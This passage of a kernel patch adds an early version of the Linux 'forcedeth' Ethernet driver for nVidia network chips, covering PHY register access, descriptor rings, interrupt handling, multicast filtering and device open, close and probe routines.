((readl(base + offset) & mask) != target); + return 0; +} + +#define MII_READ (-1) +/* mii_rw: read/write a register on the PHY. + * + * Caller must guarantee serialization + */ +static int mii_rw(struct net_device *dev, int addr, int miireg, int value) +{ + u8 *base = get_hwbase(dev); + int was_running; + u32 reg; + int retval; + + writel(NVREG_MIISTAT_MASK, base + NvRegMIIStatus); + was_running = 0; + reg = readl(base + NvRegAdapterControl); + if (reg & NVREG_ADAPTCTL_RUNNING) { + was_running = 1; + writel(reg & ~NVREG_ADAPTCTL_RUNNING, base + NvRegAdapterControl); + } + reg = readl(base + NvRegMIIControl); + if (reg & NVREG_MIICTL_INUSE) { + writel(NVREG_MIICTL_INUSE, base + NvRegMIIControl); + udelay(NV_MIIBUSY_DELAY); + } + + reg = NVREG_MIICTL_INUSE | (addr << NVREG_MIICTL_ADDRSHIFT) | miireg; + if (value != MII_READ) { + writel(value, base + NvRegMIIData); + reg |= NVREG_MIICTL_WRITE; + } + writel(reg, base + NvRegMIIControl); + + if (reg_delay(dev, NvRegMIIControl, NVREG_MIICTL_INUSE, 0, + NV_MIIPHY_DELAY, NV_MIIPHY_DELAYMAX, NULL)) { + dprintk(KERN_DEBUG "%s: mii_rw of reg %d at PHY %d timed out.\n", + dev->name, miireg, addr); + retval = -1; + } else if (value != MII_READ) { + /* it was a write operation - fewer failures are detectable */ + dprintk(KERN_DEBUG "%s: mii_rw wrote 0x%x to reg %d at PHY %d\n", + dev->name, value, miireg, addr); + retval = 0; + } else if (readl(base + NvRegMIIStatus) & NVREG_MIISTAT_ERROR) { + dprintk(KERN_DEBUG "%s: mii_rw of reg %d at PHY %d failed.\n", + dev->name, miireg, addr); + retval = -1; + } else { + /* FIXME: why is that required? */ + udelay(50); + retval = readl(base + NvRegMIIData); + dprintk(KERN_DEBUG "%s: mii_rw read from reg %d at PHY %d: 0x%x.\n", + dev->name, miireg, addr, retval); + } + if (was_running) { + reg = readl(base + NvRegAdapterControl); + writel(reg | NVREG_ADAPTCTL_RUNNING, base + NvRegAdapterControl); + } + return retval; +} + +static void start_rx(struct net_device *dev) +{ + struct fe_priv *np = get_nvpriv(dev); + u8 *base = get_hwbase(dev); + + dprintk(KERN_DEBUG "%s: start_rx\n", dev->name); + /* Already running? Stop it. */ + if (readl(base + NvRegReceiverControl) & NVREG_RCVCTL_START) { + writel(0, base + NvRegReceiverControl); + pci_push(base); + } + writel(np->linkspeed, base + NvRegLinkSpeed); + pci_push(base); + writel(NVREG_RCVCTL_START, base + NvRegReceiverControl); + pci_push(base); +} + +static void stop_rx(struct net_device *dev) +{ + u8 *base = get_hwbase(dev); + + dprintk(KERN_DEBUG "%s: stop_rx\n", dev->name); + writel(0, base + NvRegReceiverControl); + reg_delay(dev, NvRegReceiverStatus, NVREG_RCVSTAT_BUSY, 0, + NV_RXSTOP_DELAY1, NV_RXSTOP_DELAY1MAX, + KERN_INFO "stop_rx: ReceiverStatus remained busy"); + + udelay(NV_RXSTOP_DELAY2); + writel(0, base + NvRegLinkSpeed); +} + +static void start_tx(struct net_device *dev) +{ + u8 *base = get_hwbase(dev); + + dprintk(KERN_DEBUG "%s: start_tx\n", dev->name); + writel(NVREG_XMITCTL_START, base + NvRegTransmitterControl); + pci_push(base); +} + +static void stop_tx(struct net_device *dev) +{ + u8 *base = get_hwbase(dev); + + dprintk(KERN_DEBUG "%s: stop_tx\n", dev->name); + writel(0, base + NvRegTransmitterControl); + reg_delay(dev, NvRegTransmitterStatus, NVREG_XMITSTAT_BUSY, 0, + NV_TXSTOP_DELAY1, NV_TXSTOP_DELAY1MAX, + KERN_INFO "stop_tx: TransmitterStatus remained busy"); + + udelay(NV_TXSTOP_DELAY2); + writel(0, base + NvRegUnknownTransmitterReg); +} + +static void txrx_reset(struct net_device *dev) +{ + u8 *base = get_hwbase(dev); + + dprintk(KERN_DEBUG "%s: txrx_reset\n", dev->name); + writel(NVREG_TXRXCTL_BIT2 | NVREG_TXRXCTL_RESET, base + NvRegTxRxControl); + pci_push(base); + udelay(NV_TXRX_RESET_DELAY); + writel(NVREG_TXRXCTL_BIT2, base + NvRegTxRxControl); + pci_push(base); +} + +/* + * nv_get_stats: dev->get_stats function + * Get latest stats value from the nic. + * Called with read_lock(&dev_base_lock) held for read - + * only synchronized against unregister_netdevice. + */ +static struct net_device_stats *nv_get_stats(struct net_device *dev) +{ + struct fe_priv *np = get_nvpriv(dev); + + /* It seems that the nic always generates interrupts and doesn't + * accumulate errors internally. Thus the current values in np->stats + * are already up to date. + */ + return &np->stats; +} + +static int nv_ethtool_ioctl (struct net_device *dev, void *useraddr) +{ + struct fe_priv *np = get_nvpriv(dev); + u32 ethcmd; + + if (copy_from_user(ðcmd, useraddr, sizeof (ethcmd))) + return -EFAULT; + + switch (ethcmd) { + case ETHTOOL_GDRVINFO: + { + struct ethtool_drvinfo info = { ETHTOOL_GDRVINFO }; + strcpy(info.driver, "forcedeth"); + strcpy(info.version, FORCEDETH_VERSION); + strcpy(info.bus_info, pci_name(np->pci_dev)); + if (copy_to_user(useraddr, &info, sizeof (info))) + return -EFAULT; + return 0; + } + case ETHTOOL_GLINK: + { + struct ethtool_value edata = { ETHTOOL_GLINK }; + + edata.data = !!netif_carrier_ok(dev); + + if (copy_to_user(useraddr, &edata, sizeof(edata))) + return -EFAULT; + return 0; + } + + default: + break; + } + + return -EOPNOTSUPP; +} +/* + * nv_ioctl: dev->do_ioctl function + * Called with rtnl_lock held. + */ +static int nv_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) +{ + switch(cmd) { + case SIOCETHTOOL: + return nv_ethtool_ioctl(dev, (void *) rq->ifr_data); + + default: + return -EOPNOTSUPP; + } +} + +/* + * alloc_rx: fill rx ring entries. + * Return 1 if the allocations for the skbs failed and the + * rx engine is without Available descriptors + */ +static int alloc_rx(struct net_device *dev) +{ + struct fe_priv *np = get_nvpriv(dev); + unsigned int refill_rx = np->refill_rx; + + while (np->cur_rx != refill_rx) { + int nr = refill_rx % RX_RING; + struct sk_buff *skb; + + if (np->rx_skbuff[nr] == NULL) { + + skb = dev_alloc_skb(RX_ALLOC_BUFSIZE); + if (!skb) + break; + + skb->dev = dev; + np->rx_skbuff[nr] = skb; + } else { + skb = np->rx_skbuff[nr]; + } + np->rx_dma[nr] = pci_map_single(np->pci_dev, skb->data, skb->len, + PCI_DMA_FROMDEVICE); + np->rx_ring[nr].PacketBuffer = cpu_to_le32(np->rx_dma[nr]); + np->rx_ring[nr].Length = cpu_to_le16(RX_NIC_BUFSIZE); + wmb(); + np->rx_ring[nr].Flags = cpu_to_le16(NV_RX_AVAIL); + dprintk(KERN_DEBUG "%s: alloc_rx: Packet %d marked as Available\n", + dev->name, refill_rx); + refill_rx++; + } + np->refill_rx = refill_rx; + if (np->cur_rx - refill_rx == RX_RING) + return 1; + return 0; +} + +static void do_rx_refill(unsigned long data) +{ + struct net_device *dev = (struct net_device *) data; + struct fe_priv *np = get_nvpriv(dev); + + disable_irq(dev->irq); + if (alloc_rx(dev)) { + spin_lock(&np->lock); + if (!np->in_shutdown) + mod_timer(&np->oom_kick, jiffies + OOM_REFILL); + spin_unlock(&np->lock); + } + enable_irq(dev->irq); +} + +static int init_ring(struct net_device *dev) +{ + struct fe_priv *np = get_nvpriv(dev); + int i; + + np->next_tx = np->nic_tx = 0; + for (i = 0; i < TX_RING; i++) { + np->tx_ring[i].Flags = 0; + } + + np->cur_rx = RX_RING; + np->refill_rx = 0; + for (i = 0; i < RX_RING; i++) { + np->rx_ring[i].Flags = 0; + } + return alloc_rx(dev); +} + +static void drain_tx(struct net_device *dev) +{ + struct fe_priv *np = get_nvpriv(dev); + int i; + for (i = 0; i < TX_RING; i++) { + np->tx_ring[i].Flags = 0; + if (np->tx_skbuff[i]) { + pci_unmap_single(np->pci_dev, np->tx_dma[i], + np->tx_skbuff[i]->len, + PCI_DMA_TODEVICE); + dev_kfree_skb(np->tx_skbuff[i]); + np->tx_skbuff[i] = NULL; + np->stats.tx_dropped++; + } + } +} + +static void drain_rx(struct net_device *dev) +{ + struct fe_priv *np = get_nvpriv(dev); + int i; + for (i = 0; i < RX_RING; i++) { + np->rx_ring[i].Flags = 0; + wmb(); + if (np->rx_skbuff[i]) { + pci_unmap_single(np->pci_dev, np->rx_dma[i], + np->rx_skbuff[i]->len, + PCI_DMA_FROMDEVICE); + dev_kfree_skb(np->rx_skbuff[i]); + np->rx_skbuff[i] = NULL; + } + } +} + +static void drain_ring(struct net_device *dev) +{ + drain_tx(dev); + drain_rx(dev); +} + +/* + * nv_start_xmit: dev->hard_start_xmit function + * Called with dev->xmit_lock held. + */ +static int nv_start_xmit(struct sk_buff *skb, struct net_device *dev) +{ + struct fe_priv *np = get_nvpriv(dev); + int nr = np->next_tx % TX_RING; + + np->tx_skbuff[nr] = skb; + np->tx_dma[nr] = pci_map_single(np->pci_dev, skb->data,skb->len, + PCI_DMA_TODEVICE); + + np->tx_ring[nr].PacketBuffer = cpu_to_le32(np->tx_dma[nr]); + np->tx_ring[nr].Length = cpu_to_le16(skb->len-1); + + spin_lock_irq(&np->lock); + wmb(); + np->tx_ring[nr].Flags = np->tx_flags; + dprintk(KERN_DEBUG "%s: nv_start_xmit: packet packet %d queued for transmission.\n", + dev->name, np->next_tx); + { + int j; + for (j=0; j<64; j++) { + if ((j%16) == 0) + dprintk("\n%03x:", j); + dprintk(" %02x", ((unsigned char*)skb->data)[j]); + } + dprintk("\n"); + } + + np->next_tx++; + + dev->trans_start = jiffies; + if (np->next_tx - np->nic_tx >= TX_LIMIT_STOP) + netif_stop_queue(dev); + spin_unlock_irq(&np->lock); + writel(NVREG_TXRXCTL_KICK, get_hwbase(dev) + NvRegTxRxControl); + pci_push(get_hwbase(dev)); + return 0; +} + +/* + * tx_done: check for completed packets, release the skbs. + * + * Caller must own np->lock. + */ +static void tx_done(struct net_device *dev) +{ + struct fe_priv *np = get_nvpriv(dev); + + while (np->nic_tx < np->next_tx) { + struct ring_desc *prd; + int i = np->nic_tx % TX_RING; + + prd = &np->tx_ring[i]; + + dprintk(KERN_DEBUG "%s: tx_done: looking at packet %d, Flags 0x%x.\n", + dev->name, np->nic_tx, prd->Flags); + if (prd->Flags & cpu_to_le16(NV_TX_VALID)) + break; + if (prd->Flags & cpu_to_le16(NV_TX_RETRYERROR|NV_TX_CARRIERLOST|NV_TX_LATECOLLISION| + NV_TX_UNDERFLOW|NV_TX_ERROR)) { + if (prd->Flags & cpu_to_le16(NV_TX_UNDERFLOW)) + np->stats.tx_fifo_errors++; + if (prd->Flags & cpu_to_le16(NV_TX_CARRIERLOST)) + np->stats.tx_carrier_errors++; + np->stats.tx_errors++; + } else { + np->stats.tx_packets++; + np->stats.tx_bytes += np->tx_skbuff[i]->len; + } + pci_unmap_single(np->pci_dev, np->tx_dma[i], + np->tx_skbuff[i]->len, + PCI_DMA_TODEVICE); + dev_kfree_skb_irq(np->tx_skbuff[i]); + np->tx_skbuff[i] = NULL; + np->nic_tx++; + } + if (np->next_tx - np->nic_tx < TX_LIMIT_START) + netif_wake_queue(dev); +} + +/* + * nv_tx_timeout: dev->tx_timeout function + * Called with dev->xmit_lock held. + */ +static void nv_tx_timeout(struct net_device *dev) +{ + struct fe_priv *np = get_nvpriv(dev); + u8 *base = get_hwbase(dev); + + dprintk(KERN_DEBUG "%s: Got tx_timeout. irq: %08x\n", dev->name, + readl(base + NvRegIrqStatus) & NVREG_IRQSTAT_MASK); + + spin_lock_irq(&np->lock); + + /* 1) stop tx engine */ + stop_tx(dev); + + /* 2) check that the packets were not sent already: */ + tx_done(dev); + + /* 3) if there are dead entries: clear everything */ + if (np->next_tx != np->nic_tx) { + printk(KERN_DEBUG "%s: tx_timeout: dead entries!\n", dev->name); + drain_tx(dev); + np->next_tx = np->nic_tx = 0; + writel((u32) (np->ring_addr + RX_RING*sizeof(struct ring_desc)), base + NvRegTxRingPhysAddr); + netif_wake_queue(dev); + } + + /* 4) restart tx engine */ + start_tx(dev); + spin_unlock_irq(&np->lock); +} + +static void rx_process(struct net_device *dev) +{ + struct fe_priv *np = get_nvpriv(dev); + + for (;;) { + struct ring_desc *prd; + struct sk_buff *skb; + int len; + int i; + if (np->cur_rx - np->refill_rx >= RX_RING) + break; /* we scanned the whole ring - do not continue */ + + i = np->cur_rx % RX_RING; + prd = &np->rx_ring[i]; + dprintk(KERN_DEBUG "%s: rx_process: looking at packet %d, Flags 0x%x.\n", + dev->name, np->cur_rx, prd->Flags); + + if (prd->Flags & cpu_to_le16(NV_RX_AVAIL)) + break; /* still owned by hardware, */ + + /* + * the packet is for us - immediately tear down the pci mapping. + * TODO: check if a prefetch of the first cacheline improves + * the performance. + */ + pci_unmap_single(np->pci_dev, np->rx_dma[i], + np->rx_skbuff[i]->len, + PCI_DMA_FROMDEVICE); + + { + int j; + dprintk(KERN_DEBUG "Dumping packet (flags 0x%x).",prd->Flags); + for (j=0; j<64; j++) { + if ((j%16) == 0) + dprintk("\n%03x:", j); + dprintk(" %02x", ((unsigned char*)np->rx_skbuff[i]->data)[j]); + } + dprintk("\n"); + } + /* look at what we actually got: */ + if (!(prd->Flags & cpu_to_le16(NV_RX_DESCRIPTORVALID))) + goto next_pkt; + + + len = le16_to_cpu(prd->Length); + + if (prd->Flags & cpu_to_le16(NV_RX_MISSEDFRAME)) { + np->stats.rx_missed_errors++; + np->stats.rx_errors++; + goto next_pkt; + } + if (prd->Flags & cpu_to_le16(NV_RX_ERROR1|NV_RX_ERROR2|NV_RX_ERROR3|NV_RX_ERROR4)) { + np->stats.rx_errors++; + goto next_pkt; + } + if (prd->Flags & cpu_to_le16(NV_RX_CRCERR)) { + np->stats.rx_crc_errors++; + np->stats.rx_errors++; + goto next_pkt; + } + if (prd->Flags & cpu_to_le16(NV_RX_OVERFLOW)) { + np->stats.rx_over_errors++; + np->stats.rx_errors++; + goto next_pkt; + } + if (prd->Flags & cpu_to_le16(NV_RX_ERROR)) { + /* framing errors are soft errors, the rest is fatal. */ + if (prd->Flags & cpu_to_le16(NV_RX_FRAMINGERR)) { + if (prd->Flags & cpu_to_le16(NV_RX_SUBSTRACT1)) { + len--; + } + } else { + np->stats.rx_errors++; + goto next_pkt; + } + } + /* got a valid packet - forward it to the network core */ + skb = np->rx_skbuff[i]; + np->rx_skbuff[i] = NULL; + + skb_put(skb, len); + skb->protocol = eth_type_trans(skb, dev); + dprintk(KERN_DEBUG "%s: rx_process: packet %d with %d bytes, proto %d accepted.\n", + dev->name, np->cur_rx, len, skb->protocol); + netif_rx(skb); + dev->last_rx = jiffies; + np->stats.rx_packets++; + np->stats.rx_bytes += len; +next_pkt: + np->cur_rx++; + } +} + +/* + * nv_change_mtu: dev->change_mtu function + * Called with dev_base_lock held for read. + */ +static int nv_change_mtu(struct net_device *dev, int new_mtu) +{ + if (new_mtu > DEFAULT_MTU) + return -EINVAL; + dev->mtu = new_mtu; + return 0; +} + +/* + * nv_set_multicast: dev->set_multicast function + * Called with dev->xmit_lock held. + */ +static void nv_set_multicast(struct net_device *dev) +{ + struct fe_priv *np = get_nvpriv(dev); + u8 *base = get_hwbase(dev); + u32 addr[2]; + u32 mask[2]; + u32 pff; + + memset(addr, 0, sizeof(addr)); + memset(mask, 0, sizeof(mask)); + + if (dev->flags & IFF_PROMISC) { + printk(KERN_NOTICE "%s: Promiscuous mode enabled.\n", dev->name); + pff = NVREG_PFF_PROMISC; + } else { + pff = NVREG_PFF_MYADDR; + + if (dev->flags & IFF_ALLMULTI || dev->mc_list) { + u32 alwaysOff[2]; + u32 alwaysOn[2]; + + alwaysOn[0] = alwaysOn[1] = alwaysOff[0] = alwaysOff[1] = 0xffffffff; + if (dev->flags & IFF_ALLMULTI) { + alwaysOn[0] = alwaysOn[1] = alwaysOff[0] = alwaysOff[1] = 0; + } else { + struct dev_mc_list *walk; + + walk = dev->mc_list; + while (walk != NULL) { + u32 a, b; + a = le32_to_cpu(*(u32 *) walk->dmi_addr); + b = le16_to_cpu(*(u16 *) (&walk->dmi_addr[4])); + alwaysOn[0] &= a; + alwaysOff[0] &= ~a; + alwaysOn[1] &= b; + alwaysOff[1] &= ~b; + walk = walk->next; + } + } + addr[0] = alwaysOn[0]; + addr[1] = alwaysOn[1]; + mask[0] = alwaysOn[0] | alwaysOff[0]; + mask[1] = alwaysOn[1] | alwaysOff[1]; + } + } + addr[0] |= NVREG_MCASTADDRA_FORCE; + pff |= NVREG_PFF_ALWAYS; + spin_lock_irq(&np->lock); + stop_rx(dev); + writel(addr[0], base + NvRegMulticastAddrA); + writel(addr[1], base + NvRegMulticastAddrB); + writel(mask[0], base + NvRegMulticastMaskA); + writel(mask[1], base + NvRegMulticastMaskB); + writel(pff, base + NvRegPacketFilterFlags); + start_rx(dev); + spin_unlock_irq(&np->lock); +} + +static int update_linkspeed(struct net_device *dev) +{ + struct fe_priv *np = get_nvpriv(dev); + int adv, lpa, newls, newdup; + + adv = mii_rw(dev, np->phyaddr, MII_ADVERTISE, MII_READ); + lpa = mii_rw(dev, np->phyaddr, MII_LPA, MII_READ); + dprintk(KERN_DEBUG "%s: update_linkspeed: PHY advertises 0x%04x, lpa 0x%04x.\n", + dev->name, adv, lpa); + + /* FIXME: handle parallel detection properly, handle gigabit ethernet */ + lpa = lpa & adv; + if (lpa & LPA_100FULL) { + newls = NVREG_LINKSPEED_FORCE|NVREG_LINKSPEED_100; + newdup = 1; + } else if (lpa & LPA_100HALF) { + newls = NVREG_LINKSPEED_FORCE|NVREG_LINKSPEED_100; + newdup = 0; + } else if (lpa & LPA_10FULL) { + newls = NVREG_LINKSPEED_FORCE|NVREG_LINKSPEED_10; + newdup = 1; + } else if (lpa & LPA_10HALF) { + newls = NVREG_LINKSPEED_FORCE|NVREG_LINKSPEED_10; + newdup = 0; + } else { + dprintk(KERN_DEBUG "%s: bad ability %04x - falling back to 10HD.\n", dev->name, lpa); + newls = NVREG_LINKSPEED_FORCE|NVREG_LINKSPEED_10; + newdup = 0; + } + if (np->duplex != newdup || np->linkspeed != newls) { + np->duplex = newdup; + np->linkspeed = newls; + return 1; + } + return 0; +} + +static void link_irq(struct net_device *dev) +{ + struct fe_priv *np = get_nvpriv(dev); + u8 *base = get_hwbase(dev); + u32 miistat; + int miival; + + miistat = readl(base + NvRegMIIStatus); + writel(NVREG_MIISTAT_MASK, base + NvRegMIIStatus); + printk(KERN_DEBUG "%s: link change notification, status 0x%x.\n", dev->name, miistat); + + miival = mii_rw(dev, np->phyaddr, MII_BMSR, MII_READ); + if (miival & BMSR_ANEGCOMPLETE) { + update_linkspeed(dev); + + if (netif_carrier_ok(dev)) { + stop_rx(dev); + } else { + netif_carrier_on(dev); + printk(KERN_INFO "%s: link up.\n", dev->name); + } + writel(NVREG_MISC1_FORCE | ( np->duplex ? 0 : NVREG_MISC1_HD), + base + NvRegMisc1); + start_rx(dev); + } else { + if (netif_carrier_ok(dev)) { + netif_carrier_off(dev); + printk(KERN_INFO "%s: link down.\n", dev->name); + stop_rx(dev); + } + writel(np->linkspeed, base + NvRegLinkSpeed); + pci_push(base); + } +} + +static irqreturn_t nic_irq(int foo, void *data, struct pt_regs *regs) +{ + struct net_device *dev = (struct net_device *) data; + struct fe_priv *np = get_nvpriv(dev); + u8 *base = get_hwbase(dev); + u32 events; + int i; + + dprintk(KERN_DEBUG "%s: nic_irq\n", dev->name); + + for (i=0; ; i++) { + events = readl(base + NvRegIrqStatus) & NVREG_IRQSTAT_MASK; + writel(NVREG_IRQSTAT_MASK, base + NvRegIrqStatus); + pci_push(base); + dprintk(KERN_DEBUG "%s: irq: %08x\n", dev->name, events); + if (!(events & np->irqmask)) + break; + + if (events & (NVREG_IRQ_TX1|NVREG_IRQ_TX2|NVREG_IRQ_TX_ERR)) { + spin_lock(&np->lock); + tx_done(dev); + spin_unlock(&np->lock); + } + + if (events & (NVREG_IRQ_RX|NVREG_IRQ_RX_NOBUF)) { + rx_process(dev); + if (alloc_rx(dev)) { + spin_lock(&np->lock); + if (!np->in_shutdown) + mod_timer(&np->oom_kick, jiffies + OOM_REFILL); + spin_unlock(&np->lock); + } + } + + if (events & NVREG_IRQ_LINK) { + spin_lock(&np->lock); + link_irq(dev); + spin_unlock(&np->lock); + } + if (events & (NVREG_IRQ_TX_ERR)) { + dprintk(KERN_DEBUG "%s: received irq with events 0x%x. Probably TX fail.\n", + dev->name, events); + } + if (events & (NVREG_IRQ_UNKNOWN)) { + printk(KERN_DEBUG "%s: received irq with unknown events 0x%x. Please report\n", + dev->name, events); + } + if (i > max_interrupt_work) { + spin_lock(&np->lock); + /* disable interrupts on the nic */ + writel(0, base + NvRegIrqMask); + pci_push(base); + + if (!np->in_shutdown) + mod_timer(&np->nic_poll, jiffies + POLL_WAIT); + printk(KERN_DEBUG "%s: too many iterations (%d) in nic_irq.\n", dev->name, i); + spin_unlock(&np->lock); + break; + } + + } + dprintk(KERN_DEBUG "%s: nic_irq completed\n", dev->name); + + return IRQ_RETVAL(i); +} + +static void do_nic_poll(unsigned long data) +{ + struct net_device *dev = (struct net_device *) data; + struct fe_priv *np = get_nvpriv(dev); + u8 *base = get_hwbase(dev); + + disable_irq(dev->irq); + /* + * reenable interrupts on the nic, we have to do this before calling + * nic_irq because that may decide to do otherwise + */ + writel(np->irqmask, base + NvRegIrqMask); + pci_push(base); + nic_irq((int) 0, (void *) data, (struct pt_regs *) NULL); + enable_irq(dev->irq); +} + +static int nv_open(struct net_device *dev) +{ + struct fe_priv *np = get_nvpriv(dev); + u8 *base = get_hwbase(dev); + int ret, oom, i; + + dprintk(KERN_DEBUG "nv_open: begin\n"); + + /* 1) erase previous misconfiguration */ + /* 4.1-1: stop adapter: ignored, 4.3 seems to be overkill */ + writel(NVREG_MCASTADDRA_FORCE, base + NvRegMulticastAddrA); + writel(0, base + NvRegMulticastAddrB); + writel(0, base + NvRegMulticastMaskA); + writel(0, base + NvRegMulticastMaskB); + writel(0, base + NvRegPacketFilterFlags); + writel(0, base + NvRegAdapterControl); + writel(0, base + NvRegLinkSpeed); + writel(0, base + NvRegUnknownTransmitterReg); + txrx_reset(dev); + writel(0, base + NvRegUnknownSetupReg6); + + /* 2) initialize descriptor rings */ + np->in_shutdown = 0; + oom = init_ring(dev); + + /* 3) set mac address */ + { + u32 mac[2]; + + mac[0] = (dev->dev_addr[0] << 0) + (dev->dev_addr[1] << 8) + + (dev->dev_addr[2] << 16) + (dev->dev_addr[3] << 24); + mac[1] = (dev->dev_addr[4] << 0) + (dev->dev_addr[5] << 8); + + writel(mac[0], base + NvRegMacAddrA); + writel(mac[1], base + NvRegMacAddrB); + } + + /* 4) continue setup */ + np->linkspeed = NVREG_LINKSPEED_FORCE|NVREG_LINKSPEED_10; + np->duplex = 0; + writel(NVREG_UNKSETUP3_VAL1, base + NvRegUnknownSetupReg3); + writel(0, base + NvRegTxRxControl); + pci_push(base); + writel(NVREG_TXRXCTL_BIT1, base + NvRegTxRxControl); + reg_delay(dev, NvRegUnknownSetupReg5, NVREG_UNKSETUP5_BIT31, NVREG_UNKSETUP5_BIT31, + NV_SETUP5_DELAY, NV_SETUP5_DELAYMAX, + KERN_INFO "open: SetupReg5, Bit 31 remained off\n"); + writel(0, base + NvRegUnknownSetupReg4); + + /* 5) Find a suitable PHY */ + writel(NVREG_MIISPEED_BIT8|NVREG_MIIDELAY, base + NvRegMIISpeed); + for (i = 1; i < 32; i++) { + int id1, id2; + + spin_lock_irq(&np->lock); + id1 = mii_rw(dev, i, MII_PHYSID1, MII_READ); + spin_unlock_irq(&np->lock); + if (id1 < 0 || id1 == 0xffff) + continue; + spin_lock_irq(&np->lock); + id2 = mii_rw(dev, i, MII_PHYSID2, MII_READ); + spin_unlock_irq(&np->lock); + if (id2 < 0 || id2 == 0xffff) + continue; + dprintk(KERN_DEBUG "%s: open: Found PHY %04x:%04x at address %d.\n", + dev->name, id1, id2, i); + np->phyaddr = i; + + spin_lock_irq(&np->lock); + update_linkspeed(dev); + spin_unlock_irq(&np->lock); + + break; + } + if (i == 32) { + printk(KERN_INFO "%s: open: failing due to lack of suitable PHY.\n", + dev->name); + ret = -EINVAL; + goto out_drain; + } + + /* 6) continue setup */ + writel(NVREG_MISC1_FORCE | ( np->duplex ? 0 : NVREG_MISC1_HD), + base + NvRegMisc1); + writel(readl(base + NvRegTransmitterStatus), base + NvRegTransmitterStatus); + writel(NVREG_PFF_ALWAYS, base + NvRegPacketFilterFlags); + writel(NVREG_OFFLOAD_NORMAL, base + NvRegOffloadConfig); + + writel(readl(base + NvRegReceiverStatus), base + NvRegReceiverStatus); + get_random_bytes(&i, sizeof(i)); + writel(NVREG_RNDSEED_FORCE | (i&NVREG_RNDSEED_MASK), base + NvRegRandomSeed); + writel(NVREG_UNKSETUP1_VAL, base + NvRegUnknownSetupReg1); + writel(NVREG_UNKSETUP2_VAL, base + NvRegUnknownSetupReg2); + writel(NVREG_POLL_DEFAULT, base + NvRegPollingInterval); + writel(NVREG_UNKSETUP6_VAL, base + NvRegUnknownSetupReg6); + writel((np->phyaddr << NVREG_ADAPTCTL_PHYSHIFT)|NVREG_ADAPTCTL_PHYVALID, + base + NvRegAdapterControl); + writel(NVREG_UNKSETUP4_VAL, base + NvRegUnknownSetupReg4); + writel(NVREG_WAKEUPFLAGS_VAL, base + NvRegWakeUpFlags); + + /* 7) start packet processing */ + writel((u32) np->ring_addr, base + NvRegRxRingPhysAddr); + writel((u32) (np->ring_addr + RX_RING*sizeof(struct ring_desc)), base + NvRegTxRingPhysAddr); + writel( ((RX_RING-1) << NVREG_RINGSZ_RXSHIFT) + ((TX_RING-1) << NVREG_RINGSZ_TXSHIFT), + base + NvRegRingSizes); + + i = readl(base + NvRegPowerState); + if ( (i & NVREG_POWERSTATE_POWEREDUP) == 0) + writel(NVREG_POWERSTATE_POWEREDUP|i, base + NvRegPowerState); + + pci_push(base); + udelay(10); + writel(readl(base + NvRegPowerState) | NVREG_POWERSTATE_VALID, base + NvRegPowerState); + writel(NVREG_ADAPTCTL_RUNNING, base + NvRegAdapterControl); + + + writel(0, base + NvRegIrqMask); + pci_push(base); + writel(NVREG_IRQSTAT_MASK, base + NvRegIrqStatus); + pci_push(base); + writel(NVREG_MIISTAT_MASK2, base + NvRegMIIStatus); + writel(NVREG_IRQSTAT_MASK, base + NvRegIrqStatus); + pci_push(base); + + ret = request_irq(dev->irq, &nic_irq, SA_SHIRQ, dev->name, dev); + if (ret) + goto out_drain; + + writel(np->irqmask, base + NvRegIrqMask); + + spin_lock_irq(&np->lock); + writel(NVREG_MCASTADDRA_FORCE, base + NvRegMulticastAddrA); + writel(0, base + NvRegMulticastAddrB); + writel(0, base + NvRegMulticastMaskA); + writel(0, base + NvRegMulticastMaskB); + writel(NVREG_PFF_ALWAYS|NVREG_PFF_MYADDR, base + NvRegPacketFilterFlags); + start_rx(dev); + start_tx(dev); + netif_start_queue(dev); + if (oom) + mod_timer(&np->oom_kick, jiffies + OOM_REFILL); + if (mii_rw(dev, np->phyaddr, MII_BMSR, MII_READ) & BMSR_ANEGCOMPLETE) { + netif_carrier_on(dev); + } else { + printk("%s: no link during initialization.\n", dev->name); + netif_carrier_off(dev); + } + + spin_unlock_irq(&np->lock); + + return 0; +out_drain: + drain_ring(dev); + return ret; +} + +static int nv_close(struct net_device *dev) +{ + struct fe_priv *np = get_nvpriv(dev); + u8 *base; + + spin_lock_irq(&np->lock); + np->in_shutdown = 1; + spin_unlock_irq(&np->lock); + synchronize_irq(); + + del_timer_sync(&np->oom_kick); + del_timer_sync(&np->nic_poll); + + netif_stop_queue(dev); + spin_lock_irq(&np->lock); + stop_tx(dev); + stop_rx(dev); + base = get_hwbase(dev); + + /* disable interrupts on the nic or we will lock up */ + writel(0, base + NvRegIrqMask); + pci_push(base); + dprintk(KERN_INFO "%s: Irqmask is zero again\n", dev->name); + + spin_unlock_irq(&np->lock); + + free_irq(dev->irq, dev); + + drain_ring(dev); + + /* FIXME: power down nic */ + + return 0; +} + +static int __devinit nv_probe(struct pci_dev *pci_dev, const struct pci_device_id *id) +{ + struct net_device *dev; + struct fe_priv *np; + unsigned long addr; + u8 *base; + int err, i; + + dev = alloc_etherdev(sizeof(struct fe_priv)); + err = -ENOMEM; + if (!dev) + goto out; + + np = get_nvpriv(dev); + np->pci_dev = pci_dev; + spin_lock_init(&np->lock); + SET_MODULE_OWNER(dev); + SET_NETDEV_DEV(dev, &pci_dev->dev); + + init_timer(&np->oom_kick); + np->oom_kick.data = (unsigned long) dev; + np->oom_kick.function = &do_rx_refill; /* timer handler */ + init_timer(&np->nic_poll); + np->nic_poll.data = (unsigned long) dev; + np->nic_poll.function = &do_nic_poll; /* timer handler */ + + err = pci_enable_device(pci_dev); + if (err) { + printk(KERN_INFO "forcedeth: pci_enable_dev failed (%d) for device %s\n", + err, pci_name(pci_dev)); + goto out_free; + } + + pci_set_master(pci_dev); + + err = pci_request_regions(pci_dev, dev->name); + if (err < 0) + goto out_disable; + + err = -EINVAL; + addr = 0; + for (i = 0; i < DEVICE_COUNT_RESOURCE; i++) { + dprintk(KERN_DEBUG "%s: resource %d start %p len %ld flags 0x%08lx.\n", + pci_name(pci_dev), i, (void*)pci_resource_start(pci_dev, i), + pci_resource_len(pci_dev, i), + pci_resource_flags(pci_dev, i)); + if (pci_resource_flags(pci_dev, i) & IORESOURCE_MEM && + pci_resource_len(pci_dev, i) >= NV_PCI_REGSZ) { + addr = pci_resource_start(pci_dev, i); + break; + } + } + if (i == DEVICE_COUNT_RESOURCE) { + printk(KERN_INFO "forcedeth: Couldn't find register window for device %s.\n", + pci_name(pci_dev)); + goto out_relreg; + } + + err = -ENOMEM; + dev->base_addr = (unsigned long) ioremap(addr, NV_PCI_REGSZ); + if (!dev->base_addr) + goto out_relreg; + dev->irq = 